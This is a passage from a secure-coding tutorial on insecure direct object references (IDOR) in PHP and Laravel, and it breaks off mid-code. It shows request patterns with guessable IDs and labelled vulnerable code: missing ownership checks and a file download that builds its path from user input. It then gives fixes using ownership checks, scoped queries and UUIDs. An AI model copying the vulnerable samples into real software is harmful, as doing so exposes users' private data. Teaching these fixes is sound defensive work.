&lt;p&gt;IDOR hides in four common places.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;URL parameters:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /profile?user_id=42
GET /invoice/download?id=1089
GET /messages?thread_id=567
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;POST body parameters:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /update-address
Body: user_id=42&amp;amp;street=New+Street
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;API endpoints:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /api/v1/users/42
DELETE /api/v1/documents/1089
PUT /api/v1/orders/567
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;File downloads:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /download?file=invoice_1089.pdf
GET /documents/contract_42.pdf
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every one of these is a potential IDOR vulnerability if the application does not verify that the authenticated user is authorized to access that specific resource.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Code Pattern
&lt;/h2&gt;

&lt;p&gt;Here is what vulnerable PHP looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — checks authentication but not authorization&lt;/span&gt;
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getOrder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;PDO&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$orderId&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;?array&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: /login'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SELECT * FROM orders WHERE id = ?'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$orderId&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$orderId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$order&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getOrder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$orderId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The authentication check is present. The authorization check is absent. Any logged-in user can access any order in the database by changing the ID in the URL.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix 1 — Ownership Check in the Query
&lt;/h2&gt;

&lt;p&gt;The simplest and most reliable fix: include the authenticated user's ID in every query that retrieves user-specific data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getOrder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;PDO&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$orderId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;?array&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'
        SELECT * FROM orders
        WHERE id = ? AND user_id = ?
    '&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$orderId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nv"&gt;$order&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$orderId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$userId&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$order&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getOrder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$orderId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;AND user_id = ?&lt;/code&gt; clause means the database only returns the order if both conditions are true the ID matches and it belongs to the authenticated user. An attacker who changes the order ID gets a 404 for any order that does not belong to them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On returning 404 versus 403:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When revealing whether the resource exists would itself disclose sensitive information returning 404 instead of 403 is a useful defensive pattern. A 403 tells the attacker "this resource exists but you cannot access it." A 404 tells them nothing. In many contexts this distinction meaningfully reduces information leakage.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix 2 — Scoped Queries
&lt;/h2&gt;

&lt;p&gt;Scoped queries make IDOR structurally impossible by always filtering by the authenticated user before any ID lookup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Returns only orders belonging to this user&lt;/span&gt;
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getUserOrders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;PDO&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;array&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'
        SELECT * FROM orders
        WHERE user_id = ?
        ORDER BY created_at DESC
    '&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetchAll&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Returns one specific order only if it belongs to this user&lt;/span&gt;
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getUserOrder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;PDO&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$orderId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;?array&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'
        SELECT * FROM orders
        WHERE id = ? AND user_id = ?
    '&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$orderId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no code path in these functions where a user can retrieve another user's data. The scope is enforced at the database layer not as a conditional check after the fact.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix 3 — Non-Sequential Identifiers
&lt;/h2&gt;

&lt;p&gt;Sequential integer IDs make enumeration trivial the attacker increments and iterates. Non-sequential identifiers like UUIDs make this significantly harder:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/orders/550e8400-e29b-41d4-a716-446655440000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use a trusted library rather than implementing UUID generation manually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// composer require ramsey/uuid&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Ramsey\Uuid\Uuid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;createOrder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;PDO&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$uuid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Uuid&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;uuid4&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'
        INSERT INTO orders (uuid, user_id, created_at)
        VALUES (?, ?, NOW())
    '&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$uuid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$uuid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; UUIDs are not an authorization mechanism. They make enumeration harder not impossible. A UUID discovered through logs, referrer headers, or shared links can still be accessed by unauthorized users if no authorization check exists. Always combine non-sequential identifiers with proper ownership verification.&lt;/p&gt;

&lt;h2&gt;
  
  
  IDOR in File Downloads
&lt;/h2&gt;

&lt;p&gt;File download endpoints are a particularly common IDOR vector:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — filename comes directly from user input&lt;/span&gt;
&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$filepath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/storage/invoices/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Content-Type: application/pdf'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix verifies ownership before constructing the file path and never takes the filename from user input.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;downloadInvoice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;PDO&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$invoiceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Verify ownership first — fetch filename from database&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'
        SELECT filename FROM invoices
        WHERE id = ? AND user_id = ?
    '&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$invoiceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nv"&gt;$invoice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Filename comes from database not from user input&lt;/span&gt;
    &lt;span class="nv"&gt;$filepath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/storage/invoices/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;file_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Content-Type: application/pdf'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Content-Disposition: attachment; filename="invoice.pdf"'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$invoiceId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$userId&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nf"&gt;downloadInvoice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$invoiceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user supplies an ID. The database returns the filename but only after confirming the invoice belongs to the authenticated user. The user never controls the file path directly.&lt;/p&gt;

&lt;h2&gt;
  
  
  IDOR in Laravel
&lt;/h2&gt;

&lt;p&gt;Laravel provides several mechanisms to prevent IDOR.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Explicit ownership check:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — no ownership check&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Order&lt;/span&gt; &lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'orders.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'order'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — explicit ownership check&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Order&lt;/span&gt; &lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nf"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;id&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
